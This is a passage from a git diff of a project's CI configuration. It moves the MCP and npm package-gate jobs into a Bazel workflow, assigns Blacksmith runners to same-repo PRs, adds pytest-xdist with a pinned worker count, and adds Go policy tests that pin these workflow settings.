'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} timeout-minutes: 5 outputs: embedded: ${{ steps.decide.outputs.embedded }} @@ -2051,7 +1919,16 @@ jobs: ci-gate: name: CI Gate / Required - runs-on: ubuntu-latest + # F3: same-repo PRs and merge_group get the org's Blacksmith pool; forks, + # Dependabot and any other event stay GitHub-hosted. This job restores no + # GitHub-saved cache. Must match the TestSameRepoBlacksmithRunners pin; + # the gate's NAME must never change (ruleset requires exactly "CI Gate / + # Required"). + runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + # F3: now on Blacksmith for same-repo PRs; a hang used to burn only the + # default 360 minutes of a free GitHub-hosted runner, now Blacksmith + # minutes too. + timeout-minutes: 10 needs: - build-artifacts - check-build-tags @@ -2065,9 +1942,6 @@ jobs: - check-doc-freshness-platforms - pr-preflight-platforms - check-no-beads-changes - - detect-package-gates - - package-mcp - - package-npm - pr-policy-wrapper - pr-core-wrapper - scripts-go-checks @@ -2100,7 +1974,6 @@ jobs: CHECK_DOC_FRESHNESS_PLATFORMS PR_PREFLIGHT_PLATFORMS CHECK_NO_BEADS_CHANGES - DETECT_PACKAGE_GATES PACKAGE_MCP PACKAGE_NPM PR_POLICY_WRAPPER @@ -2137,9 +2010,12 @@ jobs: CHECK_DOC_FRESHNESS_PLATFORMS: ${{ needs.check-doc-freshness-platforms.result }} PR_PREFLIGHT_PLATFORMS: ${{ needs.pr-preflight-platforms.result }} CHECK_NO_BEADS_CHANGES: ${{ needs.check-no-beads-changes.result }} - DETECT_PACKAGE_GATES: ${{ needs.detect-package-gates.result }} - PACKAGE_MCP: ${{ needs.package-mcp.result }} - PACKAGE_NPM: ${{ needs.package-npm.result }} + # F3: package-mcp/package-npm now run inside the bazel call; their + # job.status surfaces as a call output exactly like the Bazel lanes + # below, never "skipped" on pr.yml (package-gates is always "on" + # here). + PACKAGE_MCP: ${{ needs.bazel.outputs.package-mcp || 'skipped' }} + PACKAGE_NPM: ${{ needs.bazel.outputs.package-npm || 'skipped' }} PR_POLICY_WRAPPER: ${{ needs.pr-policy-wrapper.result }} PR_CORE_WRAPPER: ${{ needs.pr-core-wrapper.result }} SCRIPTS_GO_CHECKS: ${{ needs.scripts-go-checks.result }} diff --git a/BUILD.bazel b/BUILD.bazel index b4ebcdbb6..ec54b7b7f 100644 --- a/BUILD.bazel +++ b/BUILD.bazel @@ -169,6 +169,20 @@ filegroup( visibility = ["//scripts:__pkg__"], ) +# F3: TestMCPPytestWorkerCountPinned (ci_workflow_test.go) reads the MCP +# package's pytest-xdist pin directly from its manifest and lock file, so it +# runs under `bazel test` as well as `go test`. integrations/beads-mcp has no +# BUILD.bazel of its own (unlike npm-package/, it is not .bazelignore'd), so +# these are ordinary sources under this package. +filegroup( + name = "mcp_package_policy_files", + srcs = [ + "integrations/beads-mcp/pyproject.toml", + "integrations/beads-mcp/uv.lock", + ], + visibility = ["//scripts:__pkg__"], +) + go_library( name = "beads", srcs = [ diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index abbcba763..3bf651ad0 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -733,19 +733,30 @@ manifests. On those PRs they are the tiers' only pre-merge run, and the flag too, only so the shared `bazel-coverage` job stays identical; nothing in PR Risk reads `pr_lanes`. - Artifact consumers: `build-artifacts`' `ci-build-artifacts` fed PR Core, - domain+uow and the package gates. The first two stand down with it. - The package gates (`package-mcp`, `package-npm`) now also need - `bazel-coverage` and the `bazel` call, and download - `bazel-ci-build-artifacts` (published by `bazel-test`, same layout, bd - built as `//cmd/bd:bd_for_tests`) where `pr_lanes` is `true`. They wait - for the whole call, so on PRs that change a package they finish a few - minutes after it. The Bazel bd carries no vcs build info (`bd version` - prints `1.3.0 (dev)`, no commit); no consumer reads it. Verified - 2026-10-02: both package gates pass with the Bazel-built bd (MCP: 228 - passed, 5 skipped; npm: all tests and the pack dry run), the same as - with a `go build` bd. No other job in any workflow reads `pr.yml`'s - artifacts (`docs-autofix.yml` reads `check-doc-flags`' + domain+uow and (before F3) the package gates; all three now stand down + with it. No other job in any workflow reads `pr.yml`'s artifacts + (`docs-autofix.yml` reads `check-doc-flags`' `cli-docs-freshness-patch`, which is unaffected). + - F3: the package gates (`package-mcp`, `package-npm`) moved into + `bazel.yml` itself, behind the caller input `package-gates` (`pr.yml` + passes `"on"`; `bazel-farm.yml`/`nightly.yml` keep the default `"off"`). + They need only the `rbe` job, not `bazel-coverage`, `build-artifacts` or + the rest of the `bazel` call, and no longer download an artifact: on a + same-repo PR (`needs.rbe.outputs.enabled == 'true'`) each job builds its + own bd with `bazel build --@rules_go//go/config:race + //cmd/bd:bd_for_tests` (the race flag matches `test:ci`'s top-level + build setting, so the action keys and output path equal `bazel-test`'s + `bd_for_tests`, race itself still off for the binary); otherwise (forks, + Dependabot, rbe off/skip) they fall back to `go build ./cmd/bd`, same as + before F3. The Bazel bd carries no vcs build info (`bd version` prints + `1.3.0 (dev)`, no commit); no consumer reads it. Verified 2026-10-02: + both package gates pass with the Bazel-built bd (MCP: 228 passed, 5 + skipped; npm: all tests and the pack dry run), the same as with a + `go build` bd. Both run on `blacksmith-4vcpu-ubuntu-2404` when + `rbe.outputs.enabled == 'true'` (4 vCPU: `pytest -n 8` is pinned to + timing measured there), `ubuntu-latest` otherwise. `bazel-test`'s own + `bazel-ci-build-artifacts` upload is no longer consumed by anything; it + is kept for the F3.5.3 SHA256SUMS comparison and for debugging. - Kept on every PR: the Dolt server fingerprint (container image vs the pinned dolt CLI the Bazel dolt-server lanes start), formerly `test-domain-uow`'s first step, is its own required job diff --git a/integrations/beads-mcp/pyproject.toml b/integrations/beads-mcp/pyproject.toml index 023042541..fd126676a 100644 --- a/integrations/beads-mcp/pyproject.toml +++ b/integrations/beads-mcp/pyproject.toml @@ -98,6 +98,7 @@ dev = [ "pytest>=9.0.3", "pytest-asyncio>=1.2.0", "pytest-cov>=7.0.0", + "pytest-xdist>=3.8.0", "ruff>=0.14.0", "types-requests>=2.31.0", ] diff --git a/integrations/beads-mcp/uv.lock b/integrations/beads-mcp/uv.lock index 796f3be40..dfb385957 100644 --- a/integrations/beads-mcp/uv.lock +++ b/integrations/beads-mcp/uv.lock @@ -21,7 +21,7 @@ resolution-markers = [ "python_full_version < '3.11' and sys_platform != 'win32'", ] dependencies = [ - { name = "caio", version = "0.9.25", source = { registry = "https://pypi.org/simple" } }, + { name = "caio", version = "0.9.25", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11'" }, ] sdist = { url = "https://files.pythonhosted.org/packages/67/e2/d7cb819de8df6b5c1968a2756c3cb4122d4fa2b8fc768b53b7c9e5edb646/aiofile-3.9.0.tar.gz", hash = "sha256:e5ad718bb148b265b6df1b3752c4d1d83024b93da9bd599df74b9d9ffcf7919b", size = 17943, upload-time = "2024-10-08T10:39:35.846Z" } wheels = [ @@ -41,7 +41,7 @@ resolution-markers = [ "(python_full_version >= '3.11' and python_full_version < '3.14' and sys_platform != 'emscripten' and sys_platform != 'win32') or (python_full_version == '3.11.*' and sys_platform == 'emscripten')", ] dependencies = [ - { name = "caio", version = "0.12.2", source = { registry = "https://pypi.org/simple" } }, + { name = "caio", version = "0.12.2", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11'" }, ] sdist = { url = "https://files.pythonhosted.org/packages/14/31/edb06aabd8f8f0b56d659f30800795f40b93cba96be946ce179f6931e3a5/aiofile-3.12.3.tar.gz", hash = "sha256:caa6aa746b5e47e2165f7abd741b6415e49cf4d44fddc0f61844612cc3924d41", size = 21600, upload-time = "2026-08-04T22:59:27.171Z" } wheels = [ @@ -192,6 +192,7 @@ dev = [ { name = "pytest" }, { name = "pytest-asyncio" }, { name = "pytest-cov" }, + { name = "pytest-xdist" }, { name = "ruff" }, { name = "types-requests" }, ] @@ -210,6 +211,7 @@ dev = [ { name = "pytest", specifier = ">=9.0.3" }, { name = "pytest-asyncio", specifier = ">=1.2.0" }, { name = "pytest-cov", specifier = ">=7.0.0" }, + { name = "pytest-xdist", specifier = ">=3.8.0" }, { name = "ruff", specifier = ">=0.14.0" }, { name = "types-requests", specifier = ">=2.31.0" }, ] @@ -707,6 +709,15 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/8a/0e/97c33bf5009bdbac74fd2beace167cab3f978feb69cc36f1ef79360d6c4e/exceptiongroup-1.3.1-py3-none-any.whl", hash = "sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598", size = 16740, upload-time = "2025-11-21T23:01:53.443Z" }, ] +[[package]] +name = "execnet" +version = "2.1.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/bf/89/780e11f9588d9e7128a3f87788354c7946a9cbb1401ad38a48c4db9a4f07/execnet-2.1.2.tar.gz", hash = "sha256:63d83bfdd9a23e35b9c6a3261412324f964c2ec8dcd8d3c6916ee9373e0befcd", size = 166622, upload-time = "2025-11-12T09:56:37.75Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ab/84/02fc1827e8cdded4aa65baef11296a9bbe595c474f0d6d758af082d849fd/execnet-2.1.2-py3-none-any.whl", hash = "sha256:67fba928dd5a544b783f6056f449e5e3931a5c378b128bc18501f7ea79e296ec", size = 40708, upload-time = "2025-11-12T09:56:36.333Z" }, +] + [[package]] name = "fastmcp" version = "4.0.5" @@ -795,8 +806,8 @@ name = "httpcore2" version = "2.13.1" source = { registry = "https://pypi.org/simple" } dependencies = [ - { name = "h11" }, - { name = "truststore" }, + { name = "h11", marker = "python_full_version < '3.12' or python_full_version >= '3.14' or sys_platform != 'emscripten'" }, + { name = "truststore", marker = "python_full_version < '3.12' or python_full_version >= '3.14' or sys_platform != 'emscripten'" }, ] sdist = { url = "https://files.pythonhosted.org/packages/cb/f3/1db7aa2bc2524062192bb0e0323969492d1883152a232fe36eea65f4e35c/httpcore2-2.13.1.tar.gz", hash = "sha256:e0aa977abe17e69a3b820a24542a6fa88702676d83880b8d194dcd18408e5103", size = 68071, upload-time = "2026-09-23T07:47:22.372Z" } wheels = [ @@ -843,7 +854,7 @@ name = "importlib-metadata" version = "9.0.1" source = { registry = "https://pypi.org/simple" } dependencies = [ - { name = "zipp" }, + { name = "zipp", marker = "(python_full_version < '3.14' and sys_platform != 'emscripten') or (python_full_version < '3.12' and sys_platform == 'emscripten')" }, ] sdist = { url = "https://files.pythonhosted.org/packages/6f/7e/1e7e8dc30634b93ebb3d58a3dea569ad146e656218d3960ab04f62047b29/importlib_metadata-9.0.1.tar.gz", hash = "sha256:ab830580bc0ef3db61ce8fae716389e5462b67e033018bab6d8f80ef17172f99", size = 59124, upload-time = "2026-08-28T15:30:34.646Z" } wheels = [ @@ -1604,6 +1615,19 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/9d/7a/d968e294073affff457b041c2be9868a40c1c71f4a35fcc1e45e5493067b/pytest_cov-7.1.0-py3-none-any.whl", hash = "sha256:a0461110b7865f9a271aa1b51e516c9a95de9d696734a2f71e3e78f46e1d4678", size = 22876, upload-time = "2026-03-21T20:11:14.438Z" }, ] +[[package]] +name = "pytest-xdist" +version = "3.8.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "execnet" }, + { name = "pytest" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/78/b4/439b179d1ff526791eb921115fca8e44e596a13efeda518b9d845a619450/pytest_xdist-3.8.0.tar.gz", hash = "sha256:7e578125ec9bc6050861aa93f2d59f1d8d085595d6551c2c90b6f4fad8d3a9f1", size = 88069, upload-time = "2025-07-01T13:30:59.346Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ca/31/d4e37e9e550c2b92a9cbc2e4d0b7420a27224968580b5a447f420847c975/pytest_xdist-3.8.0-py3-none-any.whl", hash = "sha256:202ca578cfeb7370784a8c33d6d05bc6e13b4f25b5053c30a152269fd10f0b88", size = 46396, upload-time = "2025-07-01T13:30:56.632Z" }, +] + [[package]] name = "python-dotenv" version = "1.2.3" @@ -2048,8 +2072,8 @@ name = "secretstorage" version = "3.5.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - { name = "cryptography" }, - { name = "jeepney" }, + { name = "cryptography", marker = "(python_full_version < '3.12' and sys_platform == 'emscripten') or (python_full_version >= '3.14' and sys_platform == 'emscripten') or (python_full_version >= '3.15' and sys_platform == 'win32') or (sys_platform != 'emscripten' and sys_platform != 'win32')" }, + { name = "jeepney", marker = "(python_full_version < '3.12' and sys_platform == 'emscripten') or (python_full_version >= '3.14' and sys_platform == 'emscripten') or (python_full_version >= '3.15' and sys_platform == 'win32') or (sys_platform != 'emscripten' and sys_platform != 'win32')" }, ] sdist = { url = "https://files.pythonhosted.org/packages/1c/03/e834bcd866f2f8a49a85eaff47340affa3bfa391ee9912a952a1faa68c7b/secretstorage-3.5.0.tar.gz", hash = "sha256:f04b8e4689cbce351744d5537bf6b1329c6fc68f91fa666f60a380edddcd11be", size = 19884, upload-time = "2025-11-23T19:02:53.191Z" } wheels = [ diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index a999e1406..894c61591 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -46,6 +46,7 @@ go_test( ":scripts_files", "//:.goreleaser.yml", "//:bazel_policy_files", + "//:mcp_package_policy_files", "//:test_sh_files", "//:workflow_files", "//internal/testutil:testdoltcommon.go", diff --git a/scripts/bazel_cache_mode_test.go b/scripts/bazel_cache_mode_test.go index d1fb08dcb..56befa6c7 100644 --- a/scripts/bazel_cache_mode_test.go +++ b/scripts/bazel_cache_mode_test.go @@ -192,6 +192,14 @@ func TestBazelCacheModeReachesTheRC(t *testing.T) { } var wantSkips []string for lane, id := range bazelLaneGateIDs { + // F3: package-mcp/package-npm skip only when the caller's + // package-gates input is off, never because of rbe mode; + // bazel-gate.sh knows nothing about them (its skip list is + // mode-derived only), so this scenario's with (which never + // sets package-gates here) must not expect them either. + if bazelPackageJobs[lane] { + continue + } if !ran[lane] { wantSkips = append(wantSkips, id) } diff --git a/scripts/bazel_farm_workflow_test.go b/scripts/bazel_farm_workflow_test.go index ea9cc1269..a36d9fb99 100644 --- a/scripts/bazel_farm_workflow_test.go +++ b/scripts/bazel_farm_workflow_test.go @@ -244,6 +244,13 @@ func TestBazelWorkflowForkFarmInputs(t *testing.T) { } checkouts++ want := map[string]string{"ref": bazelCheckoutRef, "persist-credentials": "false", "allow-unsafe-pr-checkout": bazelAllowUnsafeCheckout} + // F3: package-mcp/package-npm's detect step diffs PR_BASE_SHA + // against PR_HEAD_SHA (scripts/ci/detect-package-gates.sh, same + // as pr.yml's legacy detect job used); that needs full history, + // unlike every other lane's shallow, history-free checkout. + if bazelPackageJobs[name] { + want["fetch-depth"] = "0" + } if !reflect.DeepEqual(step.With, want) { t.Errorf("%s job %s checkout with = %v, want %v", bazelWorkflowName, name, step.With, want) } diff --git a/scripts/ci/detect-package-gates.sh b/scripts/ci/detect-package-gates.sh index b5753ae8a..4ff5d0b3f 100755 --- a/scripts/ci/detect-package-gates.sh +++ b/scripts/ci/detect-package-gates.sh @@ -82,7 +82,12 @@ while IFS= read -r path; do ;; esac case "$path" in - scripts/ci/detect-package-gates.sh|.github/workflows/pr.yml|.github/workflows/main.yml|.github/workflows/pr-risk.yml|.github/workflows/ci-measurements.yml|Makefile) + # F3: package-mcp/package-npm's job definitions (this detect step + # included) now live in bazel.yml, not pr.yml, so a change there + # must run both gates the same way a pr.yml/main.yml change does. + # package-bazel-bd.sh packages the Bazel-built bd both gates use on + # the remote-execution path. + scripts/ci/detect-package-gates.sh|scripts/ci/package-bazel-bd.sh|.github/workflows/bazel.yml|.github/workflows/pr.yml|.github/workflows/main.yml|.github/workflows/pr-risk.yml|.github/workflows/ci-measurements.yml|Makefile) mcp_package=true npm_package=true ;; diff --git a/scripts/ci/package-bazel-bd.sh b/scripts/ci/package-bazel-bd.sh index 63d9551d0..20bf87f66 100755 --- a/scripts/ci/package-bazel-bd.sh +++ b/scripts/ci/package-bazel-bd.sh @@ -4,8 +4,11 @@ # # The binary is //cmd/bd:bd_for_tests, the non-race gms_pure_go cgo bd that # Bazel's own tests exec (//cmd/bd:bd is race built under --config=ci); run -# after `bazel test //... --config=ci`, whose test:ci downloads it. Unlike -# `go build`, it carries no vcs.* or CGO_ENABLED build settings, so +# after `bazel test //... --config=ci` (whose test:ci downloads it) or after +# `bazel build //cmd/bd:bd_for_tests` directly (bazel.yml's package gates: +# only test:ci is defined in .bazelrc, so `bazel build --config=ci` fails). +# Either way the same bd_for_tests output path is what this script packages. +# Unlike `go build`, it carries no vcs.* or CGO_ENABLED build settings, so # `bd version` shows no commit and scripts/verify-cgo.sh would pass # vacuously; no consumer of the artifact reads either. # diff --git a/scripts/ci/package-mcp.sh b/scripts/ci/package-mcp.sh index d234b42c9..5b14a7041 100755 --- a/scripts/ci/package-mcp.sh +++ b/scripts/ci/package-mcp.sh @@ -52,7 +52,11 @@ mcp_mypy() { mcp_pytest() { cd "$MCP_DIR" - uv run pytest --durations=50 + # Explicit worker count, not "auto": CI runners' reported CPU count + # doesn't always match the cgroup quota, and -n 8 is pinned to measured + # timing (tools/f3, 2026-10) on both 2 vCPU (2.7x) and 4 vCPU (~3x) + # runners. pytest-xdist is a pinned dev dependency (pyproject.toml). + uv run pytest -n 8 --durations=50 } mcp_build() { diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index b304f5e85..6d7dda79e 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -1205,11 +1205,13 @@ func assertNoUnmanagedGoCacheSteps(t *testing.T, workflows map[string]ciWorkflow const ( setupGoActionFamily = "actions/setup-go" setupNodeActionFamily = "actions/setup-node" + setupPythonActionFamily = "actions/setup-python" cacheMonolithicActionFamily = "actions/cache" cacheRestoreActionFamily = "actions/cache/restore" cacheSaveActionFamily = "actions/cache/save" setupGoSHA = "b7ad1dad31e06c5925ef5d2fc7ad053ef454303e" setupNodeSHA = "820762786026740c76f36085b0efc47a31fe5020" + setupPythonSHA = "5fda3b95a4ea91299a34e894583c3862153e4b97" cacheSHA = "55cc8345863c7cc4c66a329aec7e433d2d1c52a9" goCacheSchema = "v2" goBaseTag = "gms_pure_go" @@ -1773,7 +1775,20 @@ const ( bazelIntegJobName = "bazel-integration" bazelProxiedJobName = "bazel-proxied" bazelServerJobName = "bazel-server-storage" - setupBazelActionDir = ".github/actions/setup-bazel" + // F3: the MCP and npm package gates, moved here from pr.yml so they need + // only the rbe job. Unlike every other lane they do not mirror a Bazel + // config; pr.yml opts them in with package-gates: "on". + bazelPackageMCPJobName = "package-mcp" + bazelPackageNPMJobName = "package-npm" + setupBazelActionDir = ".github/actions/setup-bazel" +) + +// F3: package-mcp and package-npm, the two lanes bazel-gate.sh does not +// know about at all - their skip reason is the caller's package-gates +// input, never the rbe job's mode. +var bazelPackageJobs = map[string]bool{bazelPackageMCPJobName: true, bazelPackageNPMJobName: true} + +const ( uploadArtifactSHA = "043fb46d1a93c77aae656e7c1c64a875d1fc6a0a" downloadArtifactSHA = "3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c" checkoutSHA = "3d3c42e5aac5ba805825da76410c181273ba90b1" @@ -1787,8 +1802,9 @@ const ( ) // bazel.yml's jobs: the rbe job that decides the execution mode, the -// --config=ci lane, and one job per CI job a Bazel config mirrors. -var bazelJobNames = []string{bazelDoltJobName, bazelEmbedJobName, bazelIntegJobName, bazelProxiedJobName, bazelPureJobName, bazelServerJobName, bazelJobName, bazelRBEJobName} +// --config=ci lane, one job per CI job a Bazel config mirrors, and the two +// package gates (F3), sorted alphabetically to match TestBazelWorkflowJobsAndExecutionMode's sort.Strings. +var bazelJobNames = []string{bazelDoltJobName, bazelEmbedJobName, bazelIntegJobName, bazelProxiedJobName, bazelPureJobName, bazelServerJobName, bazelJobName, bazelPackageMCPJobName, bazelPackageNPMJobName, bazelRBEJobName} // The lanes that only run remotely (skipped unless the rbe job chose remote); // bazel-integration runs remotely or with the read-only cache (bazelIntegIf); @@ -1826,6 +1842,10 @@ var bazelLaneGateIDs = map[string]string{ // twins run only on push to main: remotely on same-repo PRs, locally // with the read-only cache (mode cache) on fork and Dependabot PRs. bazelIntegJobName: "BAZEL_INTEGRATION", + // F3: never skippable on pr.yml (package-gates is always "on" there), so + // bazel-gate.sh's skip list never names them. + bazelPackageMCPJobName: "PACKAGE_MCP", + bazelPackageNPMJobName: "PACKAGE_NPM", } // None today: every lane is gated. Kept so a future lane that pr.yml's call @@ -1841,6 +1861,28 @@ var bazelAdvisoryLanes = map[string]string{} // lane keeps running on main. const bazelIntegIf = "${{ (needs.rbe.outputs.mode == 'remote' || needs.rbe.outputs.mode == 'cache') && inputs.integration != 'off' }}" +// F3: package-mcp and package-npm's if. Unlike every other lane's, it does +// not read the rbe job's outputs at all - only the caller's package-gates +// input - so these two never skip because of execution mode, only because a +// caller left package-gates at its default "off". +const bazelPackageGatesIf = "${{ inputs.package-gates == 'on' }}" + +// F3: the package gates' runner. 4 vCPU, not bazel.yml's usual 2: pytest-xdist +// -n 8 is pinned to measured timing on a 4 vCPU runner (tools/f3). +const bazelPackageRunsOn = "${{ needs.rbe.outputs.enabled == 'true' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }}" + +// F3: the rbe job's own runner (not gated by its own outputs - it decides +// them). Same-repo PRs and merge_group/push/dispatch/schedule (never forks) +// get Blacksmith; a pull_request_target farm run and any fork or Dependabot +// PR stay GitHub-hosted. Pinned verbatim by TestSameRepoBlacksmithRunners. +const wantRBERunsOn = "${{ (github.event_name == 'push' || github.event_name == 'workflow_dispatch' || github.event_name == 'schedule' || github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }}" + +// F3: the same "same-repo PR, or merge_group" Blacksmith expression used by +// pr.yml's and pr-risk.yml's bazel-coverage/ci-gate/detect-ci-tier jobs - a +// package-level const so every test that needs it (TestSameRepoBlacksmithRunners, +// TestPRRiskBazelCoverageJob, ...) reads the one literal. +const sameRepoBlacksmith2vcpu = "${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }}" + // pr.yml's call of bazel.yml: exactly these inputs (review D1 v2 N3). An rbe // override would put every PR in local mode and ungate the embedded tier // while the gate stays self-consistent; integration: "off" would drop the @@ -1849,6 +1891,9 @@ const bazelIntegIf = "${{ (needs.rbe.outputs.mode == 'remote' || needs.rbe.outpu var bazelPRCallWith = map[string]string{ "build-artifact-name": "bazel-ci-build-artifacts", "integration": "on", + // F3: only pr.yml opts in; bazel-farm.yml and nightly.yml keep the + // default "off" (TestBazelGateSimulation's other callers). + "package-gates": "on", } // The call's aggregate result (needs.bazel.result, through bazel-gate.sh). @@ -1931,6 +1976,15 @@ func TestBazelWorkflowJobsAndExecutionMode(t *testing.T) { "RBE_INSTANCE": "${{ " + gate + "'oss' || '' }}", "BAZEL_FORK_CACHE": "${{ needs.rbe.outputs.mode == 'cache' && 'true' || '' }}", } + // F3: the rbe job itself runs on Blacksmith for same-repo PRs (and + // merge_group/push/dispatch/schedule, which are never forks); a + // pull_request_target farm run and any fork or Dependabot PR stay + // GitHub-hosted. Pinned again, verbatim, by TestSameRepoBlacksmithRunners. + if rbe, ok := workflow.Jobs[bazelRBEJobName]; !ok { + t.Fatalf("%s has no %s job", bazelWorkflowName, bazelRBEJobName) + } else if rbe.RunsOn != wantRBERunsOn { + t.Errorf("%s runs-on = %q, want %q", bazelRBEJobName, rbe.RunsOn, wantRBERunsOn) + } for name, job := range workflow.Jobs { if name == bazelRBEJobName { continue @@ -1938,18 +1992,22 @@ func TestBazelWorkflowJobsAndExecutionMode(t *testing.T) { if !reflect.DeepEqual([]string(job.Needs), []string{bazelRBEJobName}) { t.Errorf("%s needs = %v, want [%s]", name, job.Needs, bazelRBEJobName) } - if job.RunsOn != wantRunsOn { - t.Errorf("%s runs-on = %q, want %q", name, job.RunsOn, wantRunsOn) + // F3: the package gates use a 4 vCPU runner (pytest-xdist -n 8) and + // their own if (the caller's package-gates input, not the rbe job's + // mode - they never skip for execution-mode reasons). + wantJobRunsOn, wantJobIf := wantRunsOn, wantIf + if bazelPackageJobs[name] { + wantJobRunsOn, wantJobIf = bazelPackageRunsOn, bazelPackageGatesIf + } else if bazelRemoteOnlyJobs[name] { + wantJobIf = wantRemoteOnlyIf + } else if name == bazelIntegJobName { + wantJobIf = bazelIntegIf } - want := wantIf - if bazelRemoteOnlyJobs[name] { - want = wantRemoteOnlyIf + if job.RunsOn != wantJobRunsOn { + t.Errorf("%s runs-on = %q, want %q", name, job.RunsOn, wantJobRunsOn) } - if name == bazelIntegJobName { - want = bazelIntegIf - } - if job.If != want { - t.Errorf("%s if = %q, want %q", name, job.If, want) + if job.If != wantJobIf { + t.Errorf("%s if = %q, want %q", name, job.If, wantJobIf) } for _, step := range job.Steps { if step.Uses == "./"+setupBazelActionDir && !reflect.DeepEqual(step.Env, wantSetupEnv) { @@ -1959,6 +2017,113 @@ func TestBazelWorkflowJobsAndExecutionMode(t *testing.T) { } } +// F3: bazelPackageRunsOn's comment and the package-mcp job's 4 vCPU runner +// are both premised on mcp_pytest() in package-mcp.sh passing an explicit +// "-n 8" (not "-n auto", which would reintroduce the CPU-count/cgroup-quota +// mismatch -n 8 was pinned to avoid), and on pytest-xdist itself being a +// locked dev dependency so that worker count is reproducible across CI runs. +// Neither half of that premise is checked by any other policy test, so pin +// both here directly against the script and the MCP package's manifest/lock. +func TestMCPPytestWorkerCountPinned(t *testing.T) { + root := sourceRepoRoot(t) + script := readPolicyFile(t, root, "scripts/ci/package-mcp.sh") + if !strings.Contains(script, "pytest -n 8") { + t.Errorf("scripts/ci/package-mcp.sh mcp_pytest() does not pass an explicit -n 8") + } + if strings.Contains(script, "-n auto") { + t.Errorf("scripts/ci/package-mcp.sh mcp_pytest() uses -n auto; want the pinned -n 8") + } + pyproject := readPolicyFile(t, root, "integrations/beads-mcp/pyproject.toml") + if !regexp.MustCompile(`(?m)^\s*"pytest-xdist[><=]`).MatchString(pyproject) { + t.Errorf("integrations/beads-mcp/pyproject.toml does not pin pytest-xdist as a dev dependency") + } + lock := readPolicyFile(t, root, "integrations/beads-mcp/uv.lock") + if !strings.Contains(lock, "name = \"pytest-xdist\"") { + t.Errorf("integrations/beads-mcp/uv.lock has no locked pytest-xdist entry; run uv lock") + } +} + +// F3: package-mcp and package-npm's job definitions (including the very +// detect step this script's output feeds) moved into bazel.yml, so a PR that +// edits only bazel.yml's package-gate logic must still self-trigger both +// gates the same way editing pr.yml/main.yml/pr-risk.yml does; otherwise a +// change to the job that runs the gates could ship without the gates having +// run against it. No other policy test reads this script's content. +func TestDetectPackageGatesCoversBazelWorkflow(t *testing.T) { + root := sourceRepoRoot(t) + script := readPolicyFile(t, root, "scripts/ci/detect-package-gates.sh") + re := regexp.MustCompile(`(?s)scripts/ci/detect-package-gates\.sh\|[^)]*\)\s*\n\s*mcp_package=true\s*\n\s*npm_package=true`) + loc := re.FindString(script) + if loc == "" { + t.Fatalf("scripts/ci/detect-package-gates.sh has no case arm forcing both mcp_package and npm_package true alongside its own path") + } + if !strings.Contains(loc, ".github/workflows/bazel.yml") { + t.Errorf("scripts/ci/detect-package-gates.sh's both-gates case arm does not include .github/workflows/bazel.yml, where the package-mcp/package-npm job definitions now live") + } + // F3 review NIT-6: package-bazel-bd.sh packages the Bazel-built bd for + // both package-mcp and package-npm on the remote-execution path, so a + // change to it must run both gates too. + if !strings.Contains(loc, "scripts/ci/package-bazel-bd.sh") { + t.Errorf("scripts/ci/detect-package-gates.sh's both-gates case arm does not include scripts/ci/package-bazel-bd.sh, which both package gates use to package the Bazel-built bd") + } +} + +// F3: the exact "same-repo PR, or merge_group" Blacksmith expression, pinned +// once per job so a future edit cannot drift one copy from another. Reads no +// repo variable, so the rollback is a plain revert. The rbe job's own +// version additionally covers push, workflow_dispatch and schedule (never +// forks); every other job below reads only merge_group and pull_request. +func TestSameRepoBlacksmithRunners(t *testing.T) { + want := map[string]map[string]string{ + "pr.yml": {"bazel-coverage": sameRepoBlacksmith2vcpu, "ci-gate": sameRepoBlacksmith2vcpu}, + "pr-risk.yml": {"bazel-coverage": sameRepoBlacksmith2vcpu, "ci-gate": sameRepoBlacksmith2vcpu, "detect-ci-tier": sameRepoBlacksmith2vcpu}, + bazelWorkflowName: {bazelRBEJobName: wantRBERunsOn}, + } + // The two required gates' display names are a stable external contract + // (branch protection rule names) - moving them to Blacksmith must not + // rename them. Reviewed 2026-10-03: a rename of either survived every + // other policy test, since nothing else reads job.Name. + wantGateName := map[string]map[string]string{ + "pr.yml": {"ci-gate": "CI Gate / Required"}, + "pr-risk.yml": {"ci-gate": "PR Risk Gate / Required"}, + } + for file, jobs := range want { + workflow := readCIWorkflow(t, file) + for name, wantRunsOn := range jobs { + job, ok := workflow.Jobs[name] + if !ok { + t.Fatalf("%s has no %s job", file, name) + } + if job.RunsOn != wantRunsOn { + t.Errorf("%s %s runs-on = %q, want %q", file, name, job.RunsOn, wantRunsOn) + } + if wantName := wantGateName[file][name]; wantName 